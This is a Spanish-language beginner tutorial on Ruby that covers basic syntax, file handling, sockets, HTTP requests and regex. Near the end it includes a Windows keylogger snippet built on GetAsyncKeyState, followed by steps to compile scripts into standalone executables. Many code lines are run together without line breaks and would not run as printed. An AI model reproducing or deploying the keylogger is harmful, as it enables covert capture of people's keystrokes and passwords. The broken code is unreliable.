Ruby es un lenguaje de programación interpretado, reflexivo y orientado a objetos, creado por el programador japonés Yukihiro "Matz" Matsumoto, quien comenzó a trabajar en Ruby en 1993, y lo presentó públicamente en 1995.Combina una sintaxis inspirada en Python y Perl con características de programación orientada a objetos similares a Smalltalk.Comparte también funcionalidad con otros lenguajes de programación como Lisp, Lua, Dylan y CLU. Ruby es un lenguaje de programación interpretado en una sola pasada y su implementación oficial es distribuida bajo una licencia de software libre.
http://ruby-186-25.software.informer.com/
cd c:/rubyruby test.rb
variable = "valor"
$variable = "valor"
@variable = "valor"
Variable = "valor"
print "hola mundo"
print 'hola mundo'
valor = "mundo"print "hola #{valor}"
valor = "mundo"print "hola ",valor,"\n"
print ARGV[0]
ruby codigo.rb hola
print ARGV[0]print ARGV[1]
ruby codigo.rb hola hola
hilos = ["hola","chau"]
hilos = ["hola","chau"]hilos.each do |test|print testend
parteuno = "hola "partedos = "mundo "sumar = "muestro "+parteuno+partedosprint sumar
#hola
print "tu nombre : "nombre = gets.chompprint "tu edad : "edad = gets.chompprint nombre+"\n"print edad+"\n"
if "tengo"=="tengo"print "si"elseprint "no"end
while("tengo"=="tengo")print "hola"end
for num in (1..10)print numend
beginasdsdasdrescue print "mal"end
valor = "hola estoy bien"
valor = "hola estoy bien"print valor.split("estoy bien")
def nuevafuncionend
def nuevafuncionendnuevafuncion()
def nuevafuncion(a,b,c)print aprint bprint cendnuevafuncion("uno","dos","tres")
files = Dir.new("c:/xampp").entriesfiles.each do |file|print fileend
archivo = File.open("var.txt")lineas = archivo.readlineslineas.each do |line|print lineend
require "socket"
sock = TCPSocket.new("localhost",80)
require "socket"socket = TCPSocket.new("localhost",80)socket.print "GET / HTTP/1.1\r\n"re = socket.recvfrom(500) print re
require "net/http"
code = Net::HTTP.get_response(URI.parse("http://localhost/sql.php")).bodyprint code
code = Net::HTTP.post_form(URI.parse("http://127.0.0.1/post.php"),{"te"=>"probando","ok1"=>"ok"}).bodyprint code
hola mi pass es 123 chau
code = "hola mi pass es 123 chau"if code=~/hola mi pass es (.*) chau/passw = $1print passwend
require "open-uri"file = "test.txt"url = "http://localhost/test.txt"file = open(file,"wb")file.write(open(url).read)file.close
require "Win32API"nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")while 1for num1 in (0x30..0x39) #numbersif nave.call(num1) & 0x01 == 1 print num1.chr()endendfor num2 in (0x41..0x5A) #lettersif nave.call(num2) & 0x01 == 1 print num2.chr()endendend
http://files.rubyforge.vm.bytemark.co.uk/rubyscript2exe/rubyscript2exe-0.5.3.rb
ruby rubyscript2exe-0.5.3.rb
C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory III\manuales>ruby rubyscript2exe-0.5.3.rb Usage: ruby rubyscript2exe.rb application.rb[w] [parameters] or ruby rubyscript2exe.rb application[/] [parameters] Where parameter is on of the following: --rubyscript2exe-rubyw Avoid the popping up of a DOS box. (It's annoying in the test period... No puts and p anymore... Only use it for distributing your application. See Logging.) --rubyscript2exe-ruby Force the popping up of a DOS box (default). --rubyscript2exe-nostrip Avoid stripping. The binaries (ruby and *.so) on Linux and Darwin are stripped by default to reduce the size of the resulting executable. --rubyscript2exe-strace Start the embedded application with strace (Linux only, for debugging only). --rubyscript2exe-tk (experimental) Embed not only the Ruby bindings for TK, but TK itself as well. --rubyscript2exe-verbose Verbose mode. --rubyscript2exe-quiet Quiet mode. On Linux and Darwin, there's no difference between ruby and rubyw. For more information, see http://www.erikveen.dds.nl/rubyscript2exe/index.html .
C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\Warfactory III\manuales>rubyscript2exe-0.5.3.rb pro.rbTracing pro ...holaGathering files...Copying files...Creating pro.exe ...
require 'socket'sock = TCPSocket.open('127.0.0.1',80)sock.print "GET / HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: H4x0r Browser/5.0(ASD-OS)\n\n"data = sock.readprint data
Anarquía es la noción radical de que las demás personas no son de tu propiedad.